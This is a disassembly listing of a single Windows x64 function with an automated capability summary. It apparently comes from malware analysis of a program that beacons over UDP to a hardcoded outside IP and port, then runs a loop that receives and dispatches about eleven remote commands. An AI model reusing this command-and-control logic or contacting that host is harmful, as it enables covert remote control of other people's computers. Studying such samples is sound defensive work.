Function at 0x1400044a0
Capabilities:
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x18d70
call fcn.140012c10
sub rsp, rax
mov rax, qword [0x14004c068]
xor rax, rsp
mov qword [rsp + 0x18d60], rax
xor r12d, r12d
lea rcx, str.appdata
call fcn.14001e2e4
mov qword [rsp + 0x3b8], r12
mov qword [rsp + 0x3c8], r12
mov qword [rsp + 0x3d0], setsockopt
mov byte [rsp + 0x3b8], r12b
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140004513
mov rdx, rax
lea rcx, [rsp + 0x3b8]
call fcn.140001820
nop
mov r8d, 0x1f
lea rdx, str.MicrosoftWindows.application
lea rcx, [rsp + 0x3b8]
call fcn.140001980
mov qword [rsp + 0x3e0], r12
mov qword [rsp + 0x3f0], r12
mov qword [rsp + 0x3f8], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x3e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x3f0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], setsockopt
mov byte [rax], 0
mov rdx, qword [rsp + 0x3d0]
cmp rdx, 0x10
jb 0x1400045c9
inc rdx
mov rcx, qword [rsp + 0x3b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400045c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000576f
call fcn.140012464
mov qword [rsp + 0x3c8], r12
mov qword [rsp + 0x3d0], setsockopt
mov byte [rsp + 0x3b8], 0
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x270]
call fcn.1400149a0
lea rdx, [rsp + 0x3e0]
cmp qword [rsp + 0x3f8], 0x10
cmovae rdx, qword [rsp + 0x3e0]
lea rcx, [rsp + 0x270]
call fcn.140008c30
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x270], rdi
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x26c], edx
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x280], 6
je 0x140004677
xor ecx, ecx
call fcn.14001d968
mov r13, rax
jmp 0x1400046a2
mov eax, dword [rsp + 0x3b0]
mov dword [rsp + 0x3a8], eax
lea rdx, [rsp + 0x3a8]
lea rcx, [rsp + 0x270]
call fcn.14000a120
mov r13d, dword [rsp + 0x3a8]
mov dword [rsp + 0x3b0], setsockopt
mov ecx, 0x202
lea rdx, [rsp + 0x4d0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400047a9
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400044a0
nop
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x270], rdi
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x26c], edx
lea rcx, [rsp + 0x280]
call fcn.140008360
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x270], rax
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x26c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x320], rax
lea rcx, [rsp + 0x320]
call fcn.1400113a4
nop
mov rdx, qword [rsp + 0x3f8]
cmp rdx, 0x10
jb 0x1400047a4
inc rdx
mov rcx, qword [rsp + 0x3e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000479f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005775
call fcn.140012464
jmp 0x14000573d
mov ebx, 2
lea r8d, [rbx + 0xf]
mov edx, ebx
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov r15, rax
mov qword [rsp + 0x58], rax
cmp rax, 0xffffffffffffffff
jne 0x1400048b5
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400044a0
nop
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x270], rdi
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x26c], edx
lea rcx, [rsp + 0x280]
call fcn.140008360
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x270], rax
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x26c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x320], rax
lea rcx, [rsp + 0x320]
call fcn.1400113a4
nop
mov rdx, qword [rsp + 0x3f8]
cmp rdx, 0x10
jb 0x1400048b0
inc rdx
mov rcx, qword [rsp + 0x3e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400048ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005775
call fcn.140012464
jmp 0x14000573d
mov qword [rsp + 0x408], r12
mov word [rsp + 0x400], bx
mov ecx, 0x42f3
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x402], ax
lea rcx, str.185.229.65.84
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x404], eax
mov qword [rsp + 0x3d8], 0x1388
mov dword [rsp + 0x20], 8
lea r9, [rsp + 0x3d8]
mov edx, 0xffff
mov r8d, 0x1006
mov rcx, r15
call qword [sym.imp.WS2_32.dll_setsockopt]
movzx edi, byte [rsp + 0x30]
movzx esi, byte [rsp + 0x30]
movzx ebx, byte [rsp + 0x30]
nop dword [rax + rax]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], setsockopt
xor r8d, r8d
lea rdx, [0x1400459d3]
lea rcx, [rsp + 0x38]
call fcn.140001820
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rsp + 0x380], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rsp + 0x390], xmm1
mov qword [rsp + 0x3a0], r12
movq rcx, xmm1
psrldq xmm1, 8
movq rdx, xmm1
cmp rcx, rdx
jae 0x1400049b6
lea rax, [rcx + 1]
mov qword [rsp + 0x390], rax
lea rax, [rsp + 0x380]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x380]
mov word [rcx + rax], reloc.WS2_32.dll_WSACleanup
jmp 0x1400049cf
mov r9b, reloc.WS2_32.dll_WSACleanup
movzx r8d, dil
mov edx, 1
lea rcx, [rsp + 0x380]
call fcn.140001c20
mov rcx, qword [rsp + 0x390]
mov rdx, qword [rsp + 0x398]
cmp rcx, rdx
jae 0x140004a0d
lea rax, [rcx + 1]
mov qword [rsp + 0x390], rax
lea rax, [rsp + 0x380]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x380]
mov word [rax + rcx], 1
jmp 0x140004a26
mov r9b, 1
movzx r8d, sil
mov edx, 1
lea rcx, [rsp + 0x380]
call fcn.140001c20
mov dword [rsp + 0x3a8], r13d
lea rdx, [rsp + 0x3ac]
lea rcx, [rsp + 0x3a8]
call fcn.14000ff08
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], setsockopt
mov byte [rsp + 0x38], 0
mov r8d, 4
lea rdx, [rsp + 0x3a8]
lea rcx, [rsp + 0x38]
call fcn.140001820
nop
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x48]
lea rcx, [rsp + 0x380]
call fcn.140001980
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140004ad5
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ad0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400057c0
call fcn.140012464
movdqa xmm0, xmmword [0x140045e10]
movdqu xmmword [rsp + 0x670], xmm0
movdqa xmm1, xmmword [str._f_x_v]
movdqu xmmword [rsp + 0x680], xmm1
movdqa xmm0, xmmword [0x140045de0]
movdqu xmmword [rsp + 0x690], xmm0
mov dword [rsp + 0x6a0], r12d
mov dword [rsp + 0x6a4], 0xd
mov dword [rsp + 0x6a8], 0x5c
lea r14, [rsp + 0x670]
lea r12, [rsp + 0x6ac]
cmp r14, r12
je 0x140004ba2
mov edx, dword [r14]
mov rcx, qword [rsp + 0x390]
mov r8, qword [rsp + 0x398]
cmp rcx, r8
jae 0x140004b82
lea rax, [rcx + 1]
mov qword [rsp + 0x390], rax
lea rax, [rsp + 0x380]
cmp r8, 0x10
cmovae rax, qword [rsp + 0x380]
mov byte [rax + rcx], dl
mov byte [rax + rcx + 1], 0
add r14, 4
jmp 0x140004b36
movzx r9d, dl
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x380]
call fcn.140001c20
add r14, 4
jmp 0x140004b36
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x38]
call fcn.140001730
lea r14, [rsp + 0x38]
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140004bf9
mov r14, qword [rsp + 0x38]
inc rdx
mov rcx, r14
mov rax, r14
cmp rdx, 0x1000
jb 0x140004bf4
add rdx, 0x27
mov rcx, qword [r14 - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000577b
call fcn.140012464
xor r12d, r12d
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], setsockopt
mov byte [rsp + 0x38], r12b
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r14 + r8], r12b
jne 0x140004c16
mov eax, dword [rsp + 0x3b0]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x400]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov rdx, r14
mov rcx, r15
call qword [sym.imp.WS2_32.dll_sendto]
lea rax, [rsp + 0x3b0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x400]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x186a0
lea rdx, [rsp + 0x6c0]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recvfrom]
movsxd rcx, eax
dec rcx
cmp rcx, 0xfffffffffffffffd
ja 0x1400056b9
mov qword [rsp + 0x470], r12
mov qword [rsp + 0x480], r12
mov qword [rsp + 0x488], 0xf
mov byte [rsp + 0x470], 0
lea rax, [rsp + 0x6c0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004cc0
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x470]
call fcn.140001820
nop
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], setsockopt
mov byte [rsp + 0x38], 0
lea rax, [rsp + 0x6c0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004d10
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x38]
call fcn.140001820
nop
mov qword [rsp + 0x3a0], r12
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x48]
lea rcx, [rsp + 0x380]
call fcn.140001820
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140004d96
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005781
call fcn.140012464
mov r9, qword [rsp + 0x390]
mov rdx, qword [rsp + 0x3a0]
cmp r9, rdx
jbe 0x140005787
lea rcx, [rdx + 1]
mov qword [rsp + 0x3a0], rcx
lea rax, [rsp + 0x380]
mov r12, qword [rsp + 0x398]
cmp r12, 0x10
setae r8b
mov r11, qword [rsp + 0x380]
cmovae rax, r11
cmp byte [rdx + rax], 0x74
je 0x140004eba
call fcn.140009510
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rsp + 0x488]
cmp rdx, 0x10
jb 0x140004e3e
inc rdx
mov rcx, qword [rsp + 0x470]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400057c0
call fcn.140012464
nop
lea rax, [rsp + 0x380]
cmp qword [rsp + 0x398], 0x10
cmovae rax, qword [rsp + 0x380]
xor r12d, r12d
mov qword [rsp + 0x390], r12
mov byte [rax], r12b
mov qword [rsp + 0x3a0], r12
mov rdx, qword [rsp + 0x398]
cmp rdx, 0x10
jb 0x140004930
inc rdx
mov rcx, qword [rsp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004eb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a24
call fcn.140012464
jmp 0x140004930
cmp r9, rcx
jbe 0x1400057c6
lea r14, [rcx + 1]
mov qword [rsp + 0x3a0], r14
lea rax, [rsp + 0x380]
test r8b, r8b
cmovne rax, r11
movzx ecx, byte [rax + rcx]
xor edx, edx
mov qword [rsp + 0x3b8], rdx
mov qword [rsp + 0x3c8], rdx
mov qword [rsp + 0x3d0], setsockopt
mov byte [rsp + 0x3b8], dl
mov qword [rsp + 0x450], rdx
mov qword [rsp + 0x460], rdx
mov qword [rsp + 0x468], 0xf
mov byte [rsp + 0x450], dl
mov qword [rsp + 0x4b0], rdx
mov qword [rsp + 0x4c0], rdx
mov qword [rsp + 0x4c8], 0xf
mov byte [rsp + 0x4b0], dl
mov qword [rsp + 0x490], rdx
mov qword [rsp + 0x4a0], rdx
mov qword [rsp + 0x4a8], 0xf
mov byte [rsp + 0x490], dl
mov qword [rsp + 0x430], rdx
mov qword [rsp + 0x440], rdx
mov qword [rsp + 0x448], 0xf
mov byte [rsp + 0x430], dl
mov qword [rsp + 0x410], rdx
mov qword [rsp + 0x420], rdx
mov qword [rsp + 0x428], 0xf
mov byte [rsp + 0x410], dl
add ecx, 0xfffffffd
cmp ecx, 0xa
ja case.0x140004fd7.11
movsxd rax, ecx
lea r8, [0x140000000]
mov ecx, dword [r8 + rax*4 + 0x5a2c]
add rcx, r8
jmp rcx
mov r10d, edx
mov r8d, edx
nop
cmp r8d, 0x20
jae 0x140005031
cmp r9, r14
jbe 0x1400057ff
mov rcx, r14
inc r14
mov qword [rsp + 0x3a0], r14
cmp r9, rcx
jbe 0x14000583e
lea rax, [rsp + 0x380]
cmp r12, 0x10
cmovae rax, r11
movzx edx, byte [rcx + rax]
mov eax, edx
and eax, 0x7f
mov ecx, r8d
shl eax, cl
or r10d, eax
test dl, dl
jns 0x140005031
add r8d, 7
jmp 0x140004fe0
mov r15d, r10d
lea rax, [r14 + r15]
cmp r9, rax
jb 0x140005843
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], setsockopt
cmp r9, r14
jb 0x1400058f1
sub r9, r14
mov r8, r15
cmp r9, r15
cmovb r8, r9
lea rdx, [rsp + 0x380]
cmp r12, 0x10
cmovae rdx, r11
add rdx, r14
lea rcx, [rsp + 0x38]
call fcn.140001820
mov r14, qword [rsp + 0x3a0]
add r14, r15
mov qword [rsp + 0x3a0], r14
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rsp + 0x450], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rsp + 0x460], xmm1
xor r10d, r10d
xor r8d, r8d
mov r11, qword [rsp + 0x398]
mov r9, qword [rsp + 0x390]
mov r15, qword [rsp + 0x380]
cmp r8d, 0x20
jae 0x140005125
cmp r9, r14
jbe 0x1400058f6
mov rcx, r14
inc r14
mov qword [rsp + 0x3a0], r14
cmp r9, rcx
jbe 0x140005935
lea rax, [rsp + 0x380]
cmp r11, 0x10
cmovae rax, r15
movzx edx, byte [rcx + rax]
mov eax, edx
and eax, 0x7f
mov ecx, r8d
shl eax, cl
or r10d, eax
test dl, dl
jns 0x140005125
add r8d, 7
jmp 0x1400050d4
mov r15d, r10d
lea rax, [r14 + r10]
cmp r9, rax
jb 0x14000593a
xor r12d, r12d
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], setsockopt
mov r9, r15
mov r8, r14
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x38]
call fcn.140001a10
add qword [rsp + 0x3a0], r15
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x4b0]
call fcn.140008710
lea rcx, [rsp + 0x38]
call fcn.140001690
lea rcx, [rsp + 0x380]
call fcn.1400015f0
mov r8d, eax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x380]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x410]
call fcn.140008710
lea rcx, [rsp + 0x38]
call fcn.140001690
lea rdx, str.question
lea rcx, [rsp + 0x410]
call fcn.140009780
test al, al
je 0x1400051e8
mov dword [rsp + 0x3a8], 0x20
jmp 0x140005212
lea rdx, str.buttons
lea rcx, [rsp + 0x410]
call fcn.140009780
mov ecx, 0x20000
test al, al
mov eax, 3
cmovne ecx, eax
mov dword [rsp + 0x3a8], ecx
lea r9, [rsp + 0x3a8]
lea r8, [rsp + 0x4b0]
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x670]
call fcn.140005a60
nop
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.1400097d0
nop
mov rcx, rax
call fcn.1400031e0
nop
cmp dword [rsp + 0xa8], 0
jne 0x1400059e8
lea rcx, [rsp + 0x670]
call fcn.140007560
mov r15, qword [rsp + 0x58]
jmp 0x140005639
lea rcx, [rsp + 0xb0]
call fcn.1400098c0
nop
mov rcx, rax
call fcn.1400031e0
nop
cmp dword [rsp + 0xb8], 0
jne 0x1400059ee
jmp case.0x140004fd7.11
lea rcx, [rsp + 0x380]
call fcn.1400015f0
mov r8d, eax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x380]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x490]
call fcn.140008710
lea rcx, [rsp + 0x38]
call fcn.140001690
lea rdx, [rsp + 0x490]
lea rcx, [rsp + 0x38]
call fcn.140001730
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0xc0]
call fcn.140009950
nop
mov rcx, rax
call fcn.1400031e0
nop
cmp dword [rsp + 0xc8], 0
jne 0x1400059f4
lea rcx, [rsp + 0x38]
call fcn.140007610
jmp case.0x140004fd7.11
lea rcx, [rsp + 0xd0]
call fcn.140009a00
nop
mov rcx, rax
call fcn.1400031e0
nop
cmp dword [rsp + 0xd8], 0
jne 0x1400059fa
jmp case.0x140004fd7.11
lea rcx, [rsp + 0x380]
call fcn.1400015f0
mov r8d, eax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x380]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x430]
call fcn.140008710
lea rcx, [rsp + 0x38]
call fcn.140001690
lea rdx, [rsp + 0x430]
lea rcx, [rsp + 0x38]
call fcn.140001730
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x90]
call fcn.140009a90
nop
mov rcx, rax
call fcn.1400031e0
nop
cmp dword [rsp + 0x98], 0
jne 0x140005a00
lea rcx, [rsp + 0x38]
call fcn.140007610
jmp case.0x140004fd7.11
lea rdx, [rsp + 0x430]
lea rcx, [rsp + 0x38]
call fcn.140001730
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0xe0]
call fcn.140009b40
nop
mov rcx, rax
call fcn.1400031e0
nop
cmp dword [rsp + 0xe8], 0
jne 0x140005a06
lea rcx, [rsp + 0x38]
call fcn.140007610
jmp case.0x140004fd7.11
lea rcx, [rsp + 0x380]
call fcn.1400015f0
mov r8d, eax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x380]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x3b8]
call fcn.140008710
lea rcx, [rsp + 0x38]
call fcn.140001690
lea rdx, [rsp + 0x3b8]
lea rcx, [rsp + 0x38]
call fcn.140001730
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0xf0]
call fcn.140009d20
nop
mov rcx, rax
call fcn.1400031e0
nop
cmp dword [rsp + 0xf8], 0
jne 0x140005a0c
lea rcx, [rsp + 0x38]
call fcn.140007610
jmp case.0x140004fd7.11
lea rcx, [rsp + 0x380]
call fcn.1400015f0
mov r8d, eax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x380]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x3b8]
call fcn.140008710
lea rcx, [rsp + 0x38]
call fcn.140001690
lea rdx, [rsp + 0x3b8]
lea rcx, [rsp + 0x38]
call fcn.140001730
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.140009dd0
nop
mov rcx, rax
call fcn.1400031e0
nop
cmp dword [rsp + 0x68], 0
jne 0x140005a12
lea rcx, [rsp + 0x38]
call fcn.140007610
jmp case.0x140004fd7.11
lea rcx, [rsp + 0x380]
call fcn.1400015f0
mov r8d, eax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x380]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x3b8]
call fcn.140008710
lea rcx, [rsp + 0x38]
call fcn.140001690
lea rdx, [rsp + 0x3b8]
lea rcx, [rsp + 0x38]
call fcn.140001730
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x70]
call fcn.140009e80
nop
mov rcx, rax
call fcn.1400031e0
nop
cmp dword [rsp + 0x78], 0
jne 0x140005a18
lea rcx, [rsp + 0x38]
call fcn.140007610
jmp case.0x140004fd7.11
lea rcx, [rsp + 0x380]
call fcn.1400015f0
mov r8d, eax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x380]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x3b8]
call fcn.140008710
lea rcx, [rsp + 0x38]
call fcn.140001690
lea rdx, [rsp + 0x3b8]
lea rcx, [rsp + 0x38]
call fcn.140001730
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x80]
call fcn.140009f30
nop
mov rcx, rax
call fcn.1400031e0
nop
cmp dword [rsp + 0x88], 0
jne 0x140005a1e
lea rcx, [rsp + 0x38]
call fcn.140007610
xor r12d, r12d
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x410]
call fcn.140001690
nop
lea rcx, [rsp + 0x430]
call fcn.140001690
nop
lea rcx, [rsp + 0x490]
call fcn.140001690
nop
lea rcx, [rsp + 0x4b0]
call fcn.140001690
nop
lea rcx, [rsp + 0x450]
call fcn.140001690
nop
lea rcx, [rsp + 0x3b8]
call fcn.140001690
nop
lea rcx, [rsp + 0x470]
call fcn.140001690
nop
lea rcx, [rsp + 0x380]
call fcn.140001400
jmp 0x140004930
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rax, [rsp + 0x380]
cmp qword [rsp + 0x398], 0x10
cmovae rax, qword [rsp + 0x380]
mov qword [rsp + 0x390], r12
mov byte [rax], 0
mov qword [rsp + 0x3a0], r12
mov rdx, qword [rsp + 0x398]
cmp rdx, 0x10
jb 0x140004930
inc rdx
mov rcx, qword [rsp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004eb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a24
jmp 0x140004eb0
mov rcx, qword [rsp + 0x18d60]
xor rcx, rsp
call fcn.140012400
lea r11, [rsp + 0x18d70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.1400187ec
nop
call fcn.1400187ec
nop
call fcn.1400187ec
nop
call fcn.1400187ec
int3
lea rdx, str.No_bytes_left_in_buffer.
lea rcx, [rsp + 0x38]
call fcn.1400016f0
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x148]
call fcn.140002290
lea rdx, [0x14004b118]
lea rcx, [rsp + 0x148]
call fcn.140014194
nop
call fcn.1400187ec
nop
lea rdx, str.No_bytes_left_in_buffer.
lea rcx, [rsp + 0x38]
call fcn.1400016f0
nop
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x160]
call fcn.140002290
lea rdx, [0x14004b118]
lea rcx, [rsp + 0x160]
call fcn.140014194
nop
lea rdx, str.No_bytes_left_in_buffer.
lea rcx, [rsp + 0x190]
call fcn.1400016f0
nop
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x178]
call fcn.140002290
lea rdx, [0x14004b118]
lea rcx, [rsp + 0x178]
call fcn.140014194
nop
call fcn.140001a50
lea rcx, [rsp + 0x380]
call fcn.140001680
sub rax, r14
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.140001310
mov rbx, rax
mov edx, r15d
lea rcx, [rsp + 0x1f0]
call fcn.140001310
nop
mov r8, rax
lea rcx, [rsp + 0x210]
call fcn.140001a70
nop
lea r8, str.__Have:
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.140001b90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x250]
call fcn.140001c00
nop
lea r8, [0x140045964]
mov rdx, rax
lea rcx, [rsp + 0x670]
call fcn.140001b90
nop
mov rdx, rax
lea rcx, [rsp + 0x100]
call fcn.140002290
lea rdx, [0x14004b118]
lea rcx, [rsp + 0x100]
call fcn.140014194
nop
call fcn.140001a50
lea rdx, str.No_bytes_left_in_buffer.
lea rcx, [rsp + 0x1b0]
call fcn.1400016f0
nop
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x118]
call fcn.140002290
lea rdx, [0x14004b118]
lea rcx, [rsp + 0x118]
call fcn.140014194
nop
call fcn.140001a50
lea rcx, [rsp + 0x380]
call fcn.140001680
sub rax, r14
mov rdx, rax
lea rcx, [rsp + 0x670]
call fcn.140001310
mov rbx, rax
mov edx, r15d
lea rcx, [rsp + 0x250]
call fcn.140001310
nop
mov r8, rax
lea rcx, [rsp + 0x230]
call fcn.140001a70
nop
lea r8, str.__Have:
mov rdx, rax
lea rcx, [rsp + 0x210]
call fcn.140001b90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1f0]
call fcn.140001c00
nop
lea r8, [0x140045964]
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.140001b90
nop
mov rdx, rax
lea rcx, [rsp + 0x130]
call fcn.140002290
lea rdx, [0x14004b118]
lea rcx, [rsp + 0x130]
call fcn.140014194
nop
call fcn.14001cffc
nop
call fcn.14001cffc
nop
call fcn.14001cffc
nop
call fcn.14001cffc
nop
call fcn.14001cffc
nop
call fcn.14001cffc
nop
call fcn.14001cffc
nop
call fcn.14001cffc
nop
call fcn.14001cffc
nop
call fcn.14001cffc
nop
call fcn.1400187ec
int3